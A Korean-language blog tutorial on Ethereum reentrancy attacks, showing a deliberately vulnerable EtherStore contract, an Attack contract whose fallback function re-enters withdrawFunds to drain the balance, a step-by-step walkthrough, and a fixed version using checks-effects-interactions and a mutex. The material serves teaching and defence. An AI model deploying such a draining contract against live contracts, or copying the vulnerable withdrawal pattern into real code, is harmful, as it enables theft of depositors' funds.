[Security] 1. Reentrancy

707·2023년 8월 22일
1
post-thumbnail

1. Reentrancy란?

재진입 공격
A 컨트랙트가 실행되며 B 컨트랙트를 호출했을 때 B에서 다시 A를 호출하는 것.

이더리움 스마트 컨트랙트의 특징 중 하나는 그들이 다른 외부 컨트랙트의 코드를 호출하고 활용할 수 있다는 것이다. 스마트컨트랙트는 일반적으로 이더리움(eth)을 다루며 외부 유저의 지갑으로 이더리움을 보낼 수 있다. 이러한 동작은 컨트랙트가 외부 호출을 할 수 있어야만 가능하다. 이러한 외부 호출은 공격자에게 hijack 당할 가능성을 만들어준다. 공격자는 이런 기능을 이용하여 피공격 컨트랙트로 하여금 외부 코드를 실행하도록 강제하고(fallback 함수를 이용함으로써), 이런 외부 코드에서는 피공격 컨트랙트를 다시 호출하는 방식으로 동작하게끔 하는데 이를 Reentrancy Attack, 재진입 공격이라 한다. DAO 해킹 사태에서 이런 방식의 공격이 이루어진 적이 있다.

2. 취약점

이러한 타입의 공격은 컨트랙트가 알 수 없는 주소로 이더리움을 보낼 때 발생하게 된다.
공격자는 악성 코드를 fallback함수에 담아 공격 컨트랙트를 구성하게 된다. 그래서 어떤 컨트랙트가 이더리움을 이 공격컨트랙트의 주소로 보내게 될 때, 악성 코드가 실행되게 되고
이 악성 코드는 피공격 컨트랙트의 함수를 호출하게 되면서 개발에 의도되지 않은 코드의 실행이 이루어지도록 한다. "Reentrancy"라는 용어는 외부의 공격 컨트랙트가 피공격 컨트랙트의 함수를 호출하면서 재진입을 하게끔 만들기 때문에 붙여졌다.

아래의 취약 컨트랙트를 봐보자.
이 컨트랙트에서는 예금자에게 1주일에 1이더씩 출금을 허용하고 있다.

Example 1. EtherStore 컨트랙트

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        (bool sent, ) = msg.sender.call{value: _weiToWithdraw}());
  		require(sent, "Failed to send Ether");
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

이 컨트랙트는 depositFundswithdrawFunds의 2개의 퍼블릭 함수가 있다.
depositFunds는 msg.sender의 잔액을 증가시켜주고
withdrawFunds는 출금하고자 하는 금액을 wei단위로 입력하도록 하고있다. 이 함수는 출금하고자 하는 금액이 1이더보다 작고, 7일 이내로 출금한 적이 없을 때에만 실행이 되도록 의도되었다.

취약점은 컨트랙트가 msg.sender에게 요청된 양의 이더리움을 보내는 17번째 라인에 있다.
공격자가 아래의 Attack.sol컨트랙트를 만들었다고 생각해보자.

Example 2. Attack 컨트랙트

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function attackEtherStore() external payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds{value: 1 ether}();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (address(etherStore).balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

어떻게 공격이 발생할까?
먼저, 공격자는 악의적인 스마트컨트랙트를 생성한다. 생성시 EtherStore 컨트랙트의 주소로 초기화를 하며 해당 컨트랙트를 가리키도록 한다.

그 다음, 공격자는 attackEtherStore 함수를 호출하게된다. 이떄는 공격자가 최소한 1이더 이상을 전송해야 한다.(일단 1이더로 가정)

본 예시에서는 공격자 외에도 다른 여러 유저가 EtherStore 컨트랙트에 이더를 예치했다고 가정하여 현재 EtherStore 컨트랙트의 잔액은 10인 상황이다.

그러면 다음의 과정이 진행된다.

1
Attack컨트랙트의 attackEtherStore()함수가 실행되며 EtherStore계약의 depositFunds함수가 msg.value + 가스비와 함께 호출된다.
함수의 호출자는 Attack컨트랙트이다.

2
Attack컨트랙트의 attackEtherStore함수의 다음줄이 실행된다.
EtherStore 게약의 withdrawFunds함수가 1이더 파라미터와 함께 호출된다.
EtherStore 컨트랙트에서는 Attack 컨트랙트 계정으로 이전의 인출이 없었기때문에 require문을 모두 통과하며 msg.sender.call{value: _weiToWithdraw}());이 실행된다.

EtherStore 컨트랙트는 Attack컨트랙트로 1이더를 전송한다.

Attack 컨트랙트에서는 해당 이더리움 전송을 통해 fallback 함수가 실행된다.
이 함수에서는 etherStore 컨트랙트의 잔액이 1이더 이상이 남아 있는 경우에는 다시 etherStore 컨트랙트의 withdrawFunds 함수를 호출하게 된다. <<재진입 발생!>>

3
아직 etherStore 컨트랙트에서 attack컨트랙트의 주소에 대한 balance, lastWithdrawTime 변수의 값이 수정되지 않아 require문이 통과되며 또다시 1이더를 Attack 컨트랙트로 전송하게 됨.

4
위 과정이 EtherStore 컨트랙트의 잔액이 1이더 이하가 될 때까지 반복되다가, 1이더 이하가 되면 Attack컨트랙트의 fallback 함수 내의 if문을 통과하지 못하고 종료됨.

=> 결과적으로 공격자는 한번의 트랜잭션으로 EtherStore계약에서 1이더만 남기고 나머지를 모두 인출하게 된다!

3. 예방 기술

  1. 가능한 경우 외부 계약으로 이더리움 전송시에는 내장 trnasfer함수를 사용한다.
    이 함수는 외부호출과 함께 2300가스만을 보내게 되어, 수신 계약은 추가적인 함수 호출이 불가능하다.

  2. 상태변수를 변경하는 모든 로직이 컨트랙트의 함수 내에서 이더리움 전송 코드보다 선행되도록 한다.
    알 수 없는 주소로 외부 호출을 수행하는 코드는 로컬함수/코드 내에서 가장 마지막 작업이 되도록 한다 : 이를 checks-effects-interactions 패턴 이라고 함

  3. 뮤텍스의 도입.
    코드 실행 중 컨트랙트를 잠그는 상태변수를 추가한다.

세가지 방법을 반드시 모두 적용할 필요는 없지만 학습 목적으로 모두 적용하여 취약점을 개선한 EtherStore 컨트랙트를 재작성해 보았다.

취약점을 개선한 EtherStore 컨트랙트

contract EtherStore {

    // initialize the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(!reEntrancyMutex);
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        msg.sender.transfer(_weiToWithdraw);
        // release the mutex after the external call
        reEntrancyMutex = false;
    }
 }

0개의 댓글